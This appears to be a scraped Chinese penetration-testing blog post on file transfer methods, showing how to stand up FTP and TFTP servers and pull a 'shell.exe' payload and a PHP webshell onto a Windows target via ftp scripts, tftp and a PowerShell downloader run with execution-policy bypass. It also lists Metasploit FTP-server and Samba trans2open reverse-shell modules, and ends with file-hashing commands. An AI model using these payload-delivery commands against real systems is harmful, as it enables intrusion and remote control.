天天看点

文件传输的几种常用方法

文件传输的常用方式:http、wget、ftp、tftp、powershell ...

apt-get install python-pyftpdlib

python -m pyftpdlib -p 22

文件传输的几种常用方法

ftp 127.0.0.1

用户名:anonymous

密码为空

文件传输的几种常用方法

服务端我们可以看到连接信息

文件传输的几种常用方法

通过get 将文件下载到客户端

文件传输的几种常用方法

使用ftp下载payload

文件传输的几种常用方法

echo 导出的命令

open 192.168.88.174

anonymous

binary

get shell.exe

bye

文件传输的几种常用方法

ftp -s:ftp.txt -s 参数 读取 包含ftp 命令的文件

文件传输的几种常用方法

执行命令

文件传输的几种常用方法

payload 成功 下载 到本地

文件传输的几种常用方法

msf

use auxiliary/server/ftp

文件传输的几种常用方法

tftp

atftpd --daemon --port 69 /root

文件传输的几种常用方法

tftp 在 win xp 和 2003 上是可以使用的

客户端

tftp -i 192.168.88.174 get shell.exe

powershell

echo $storage = $pwd > get.ps1

echo $webclient = New-Object System.Net.Webclient >> get.ps1

echo $url = "http://192.168.88.174/yjh.php" >> get.ps1

echo $file = "yjh.php" >> get.ps1

echo $webclient.DownloadFile($url,$file) >> get.ps1

powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File get.ps1

文件传输的几种常用方法

下载成功!

文件传输的几种常用方法

遇到 DownloadFile 报错问题可以参考以下链接:

DownloadFile(Uri, String) 将具有指定 URI 的资源下载到本地文件。

https://docs.microsoft.com/zh-cn/dotnet/api/system.net.webclient.downloadfile?redirectedfrom=MSDN&view=netframework-4.8#overloads

use exploit/linux/samba/trans2open

set payload generic/shell_reverse_tcp

使用powershell 计算 文件 hash

Get-FileHash -Algorithm MD5 .\12345.docx

Get-FileHash -Algorithm SHA256 .\12345.docx SHA系列,数字越大越安全

文件传输的几种常用方法

BITSAdmin文件下载

BITSAdmin是windows自带的一个用于下载和上传文件的命令行工具,详细描述参考:https://msdn.microsoft.com/en-us/library/windows/desktop/aa362813%28v=vs.85%29.aspx

计算文件的MD5

certutil -hashfile ydjc.apk MD5

文件传输的几种常用方法

继续阅读